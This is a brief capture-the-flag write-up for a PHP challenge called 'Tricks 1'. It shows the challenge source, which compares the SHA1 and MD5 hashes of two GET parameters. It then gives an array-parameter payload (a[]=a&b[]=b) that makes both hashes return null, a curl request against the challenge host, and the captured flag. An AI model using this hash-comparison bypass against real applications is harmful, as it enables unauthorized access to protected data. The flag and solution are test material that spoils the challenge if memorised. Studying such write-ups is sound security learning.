CTF-Writeups

CTF Writeups for fun!πŸ˜‹

View project on GitHub

Tricks 1

A couple of PHP Tricks, give it a try.


 <?php
    error_reporting(0);

    if (isset($_GET["a"]) && isset($_GET["b"])) {
        if ($_GET["a"] !== $_GET["b"] && sha1($_GET["a"]) === sha1($_GET["b"])) {
            if ($_GET["a"] !== $_GET["b"] && md5($_GET["a"]) === md5($_GET["b"])) {
                $flag = file_get_contents("../../flag");
                echo $flag;
            }else {
                echo "Didn't get passed MD5.";
            }
        }else {
            echo "Didn't get passed SHA1.";
        }
    }else {
        highlight_file(__FILE__);
        die();
    }
?> 

md5ε’Œsha1 不能用ζ₯倄理数组,md5(arr)ε’Œsha1(arr)δΌšθΏ”ε›žnull

payload: a[]=a&b[]=b

~$ curl "https://ch5.sbug.se/?a[]=a&b[]=b"
SBCTF{g07_2_w17h_0n3_SH07?}

flag:SBCTF{g07_2_w17h_0n3_SH07?}